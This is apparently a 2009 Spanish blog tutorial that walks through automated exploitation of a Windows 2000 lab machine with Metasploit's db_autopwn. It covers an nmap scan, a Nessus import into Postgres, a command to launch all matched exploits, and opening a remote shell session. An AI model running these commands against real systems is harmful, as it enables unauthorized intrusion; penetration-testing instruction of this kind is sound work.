martes, 31 de marzo de 2009

Autoexplotación con Metasploit

Bueno este es un tutorial que muestra el uso de metasploit con su modulo de autopwn, mediante un video que se encuentra mas adelante e imágenes; existen varios tutoriales en internet pero no he encontrado ninguno en español y que resuelva los problemas que me fui encontrando en el camino, es por eso que me he tomado la molestia de realizar este tutorial.


La arquitectura que utilice fue OpenSuse 11.1 como explotador (IP 192.168.137.50) y Windows 2000 Professional SP4 como explotado (IP 192.168.137.55).


Instalaciones:


El objetivo de este tutorial es trabajar con metasploit con su modulo autopwn, y para realizar esto importaremos un archivo nessus (nbe) a metasploit.


Lo primero que vamos hacer es correr nmap desde consola (nmap -v -A -sC -p 1-65535 -P0 --reason -oA /root/Desktop/autopwn/nmap_autopwn 192.168.137.55) y que nos dé los resultados en sus tres formatos.


Luego iniciaremos Nessus y exportaremos el archivo *.gnmap a la política que vayamos a crear. Terminado el escaneo de nessus, exportamos el resultado a un archivo *.nbe. (El uso de nmap y nessus escapa al objetivo de este tutorial).



--El video empieza desde este punto--


Listo ahora vayamos a iniciar una instancia de postgres; para realizar esto necesitaremos cambiarnos de usuario ya que root no permite realizar esta acción, hacemos lo siguiente:


# su “usuario”

$ cd /home/”usuario”

$ initdb ~/metasploitdb (Creación de la instancia)
$ pg_ctl -D ~/metasploitdb start (Inicio de postgres)

$ su - (para regresar a root)



Ya tenemos una instancia de postgres iniciada, entonces ahora podemos trabajar con metasploit y lo iniciamos en modo consola:


# cd /root/Programas/metasploit (donde se encuentra mestasploit)

# ./msfconsole


Ahora cargamos postgres en el metasploit con el siguiente comando:


msf > load db_postgres


NOTA: Una vez que cargamos postgres en el metasploit aparecerán nuevos comandos como db_create o db_destroy, etc.


Y luego creamos la base de datos con el siguiente comando:


msf > db_create “usuario”:”passw”@localhost:5432/metasploitdb


Donde: usuario: es el usuario que utilizamos para iniciar la instancia del postgres

passw: cualquier contraseña a utilizar

localhost: porque la instancia de postgres se encuentra en nuestra máquina

5432: puerto que utiliza postgres

metasploitdb: nombre de la base de datos, la cual hemos instanciado


IMPORTANTE: es necesario ingresar todos los parámetros ya que si obviamos uno, no se creará ninguna base de datos.


Nos pedirá ingresar una contraseña, pues entonces ingresamos la misma contraseña que colocamos en el comando explicado arriba.


NOTA: Una vez creada la base de datos aparecerán nuevos comandos como db_hosts, db_services, db_import_*, etc.



Ahora nos toca importar el archivo *.nbe a la base de datos, para eso utilizamos el siguiente comando:


msf > db_import_nessus_nbe “ruta donde se encuentra el archivo”


NOTA: Una vez importada la base de datos mediante los comandos “db_hosts” y “db_services” podemos ver la información que se encuentra en la base de datos.


Ahora que tenemos la base de datos llena, podemos comenzar hacer la explotación automática; mediante el comando en solitario “db_autopwn” podemos apreciar las siguientes opciones:


msf > db_autopwn

[*] Usage: db_autopwn [options]

-h Display this help text

-t Show all matching exploit modules

-x Select modules based on vulnerability references

-p Select modules based on open ports

-e Launch exploits against all matched targets

-r Use a reverse connect shell

-b Use a bind shell on a random port

-q Disable exploit module output

-I [range] Only exploit hosts inside this range

-X [range] Always exclude hosts inside this range

-PI [range] Only exploit hosts with these ports open

-PX [range] Always exclude hosts with these ports open

-m [regex] Only run modules whose name matches the regex


Para sólo ver los exploits que tenemos disponibles para atacar, basados en los puertos que tenemos abiertos, ingresamos el comando:


msf > db_autopwn -t -p


Para sólo ver los exploits que tenemos disponibles para atacar, basados en las vulnerabilidades que tenemos, ingresamos el comando:


msf > db_autopwn -t –x



Listo ya tenemos todo preparado, ahora toca lo más interesante, LA EXPLOTACIÓN, bien pues vamos a explotar el objetivo basándonos en sus vulnerabilidades descubiertas por nessus, entonces ingresamos el siguiente comando:


msf > db_autopwn -t -x -e


Y empieza la explotación.


Al finalizar podremos ver las sesiones creadas durante la explotación con el comando:


msf > sessions –l



Para seleccionar la sesión que queremos, ingresamos el comando:


msf > sessions -i N (donde N es el ID de la sesión)


Vamos a seleccionar la sesión 1 y se generará un CMD de la máquina explotada.


Para finalizar creamos un archivo *.txt y lo colocamos en el escritorio de la máquina explotada.




NOTAS FINALES:

  1. El comando db_nmap es el ejecutable /bin/nmap embebido en el metasploit, si utilizamos el comando db_nmap desde metasploit, el resultado se cargará automáticamente en la base de datos creada.
  2. Se puede realizar la importación de un resultado de nmap en archivo *.xml con el comando db_import_nmap_xml como lo hicimos con el archivo de nessus.
  3. Si se quiere realizar otro análisis distinto y se cargan los datos en la misma base de datos, la autoexplotación de metasploit lo hará a todos los hosts que se encuentren en la base de datos, es recomendable crear nuevamente la base de datos pero bajo el riesgo de perder los datos ingresados anteriormente.

Bueno eso es todo, hasta el próximo post…


VIDEO

1 comentario: